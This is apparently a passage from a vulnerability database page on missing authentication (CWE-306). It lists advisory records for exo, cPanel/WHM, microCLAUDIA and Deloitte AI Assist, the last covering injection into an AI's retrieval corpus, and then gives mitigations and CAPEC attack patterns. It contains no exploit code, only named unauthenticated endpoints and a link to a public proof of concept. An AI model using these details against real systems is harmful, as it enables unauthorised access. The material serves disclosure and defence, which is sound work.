      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-85M9-R32H-29G4

Vulnerability from github – Published: 2026-07-21 21:32 – Updated: 2026-07-22 18:32
VLAI
Details

An issue in exo-explore exo 1.0.69 allows a remote attacker to escalate privileges via the GET /state and DELETE /instance/{instance_id} endpoints with no authentication.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-50759"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T20:17:02Z",
    "severity": "HIGH"
  },
  "details": "An issue in exo-explore exo 1.0.69 allows a remote attacker to escalate privileges via the GET /state and DELETE /instance/{instance_id} endpoints with no authentication.",
  "id": "GHSA-85m9-r32h-29g4",
  "modified": "2026-07-22T18:32:29Z",
  "published": "2026-07-21T21:32:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50759"
    },
    {
      "type": "WEB",
      "url": "https://github.com/exo-explore/exo/issues/1833"
    },
    {
      "type": "WEB",
      "url": "https://github.com/August829/Yu/blob/main/CVE-2026-50759.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-85QR-8RXC-62GV

Vulnerability from github – Published: 2026-04-29 18:31 – Updated: 2026-05-04 18:30
VLAI
Details

cPanel and WHM versions prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-41940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-29T16:16:25Z",
    "severity": "CRITICAL"
  },
  "details": "cPanel and WHM versions prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.",
  "id": "GHSA-85qr-8rxc-62gv",
  "modified": "2026-05-04T18:30:28Z",
  "published": "2026-04-29T18:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41940"
    },
    {
      "type": "WEB",
      "url": "https://docs.cpanel.net/release-notes/release-notes"
    },
    {
      "type": "WEB",
      "url": "https://docs.wpsquared.com/changelogs/versions/changelog/#13617"
    },
    {
      "type": "WEB",
      "url": "https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py"
    },
    {
      "type": "WEB",
      "url": "https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940"
    },
    {
      "type": "WEB",
      "url": "https://support.cpanel.net/hc/en-us/articles/40073787579671-cPanel-WHM-Security-Update-04-28-2026"
    },
    {
      "type": "WEB",
      "url": "https://www.bleepingcomputer.com/news/security/critrical-cpanel-flaw-mass-exploited-in-sorry-ransomware-attacks"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-41940"
    },
    {
      "type": "WEB",
      "url": "https://www.namecheap.com/status-updates/ongoing-critical-security-vulnerability-in-cpanel-april-28-2026"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/cpanel-and-whm-authentication-bypass-via-login-flow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-85QV-CF4W-F5MJ

Vulnerability from github – Published: 2025-10-28 12:30 – Updated: 2025-10-28 12:30
VLAI
Details

microCLAUDIA in v3.2.0 and prior has an improper access control vulnerability.

This flaw allows an authenticated user to perform unauthorized actions on other organizations' systems by sending direct API requests. To do so, the attacker can use organization identifiers obtained through a compromised endpoint or deduced manually.

This vulnerability allows access between tenants, enabling an attacker to list and manage remote assets, uninstall agents, and even delete vaccines configurations.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-41090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-28T10:15:42Z",
    "severity": "HIGH"
  },
  "details": "microCLAUDIA in v3.2.0 and prior has an improper access control vulnerability.\n\nThis flaw allows an authenticated user to perform unauthorized actions on other organizations\u0027 systems by sending direct API requests. To do so, the attacker can use organization identifiers obtained through a compromised endpoint or deduced manually.\n\nThis vulnerability allows access between tenants, enabling an attacker to list and manage remote assets, uninstall agents, and even delete vaccines configurations.",
  "id": "GHSA-85qv-cf4w-f5mj",
  "modified": "2025-10-28T12:30:15Z",
  "published": "2025-10-28T12:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-41090"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/improper-access-control-ccn-cert-microclaudia"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-85QW-GWGM-XJ6W

Vulnerability from github – Published: 2026-07-10 18:32 – Updated: 2026-07-10 18:32
VLAI
Details

Deloitte AI Assist for Customer exposed unauthenticated API endpoints that allowed an attacker with knowledge of additional parameters to read from or inject content into the retrieval-augmented generation (RAG) corpus. On 2026-03-25, AI Assist for Customer restricted network access and enforced authentication for the previously exposed endpoints.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-57476"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T18:16:24Z",
    "severity": "MODERATE"
  },
  "details": "Deloitte AI Assist for Customer exposed unauthenticated API endpoints that allowed an attacker with knowledge of additional parameters to read from or inject content into the retrieval-augmented generation (RAG) corpus. On 2026-03-25, AI Assist for Customer restricted network access and enforced authentication for the previously exposed endpoints.",
  "id": "GHSA-85qw-gwgm-xj6w",
  "modified": "2026-07-10T18:32:21Z",
  "published": "2026-07-10T18:32:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57476"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-191-01.json"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-57474"
    },
    {
      "type": "WEB",
      "url": "https://zerotolerance.me/advisories/assets/VU487875-deloitte-ascend-advisory.pdf"
    },
    {
      "type": "WEB",
      "url": "https://zerotolerance.me/advisories/deloitte-aiassist-ascend-2026-vu487875"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
  • Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.
  • In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks.
  • In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
Mitigation MIT-4.5
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
Mitigation
Implementation System Configuration Operation

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

CAPEC-12: Choosing Message Identifier

This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.

CAPEC-166: Force the System to Reset Values

An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions.

CAPEC-216: Communication Channel Manipulation

An adversary manipulates a setting or parameter on communications channel in order to compromise its security. This can result in information exposure, insertion/removal of information from the communications stream, and/or potentially system compromise.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.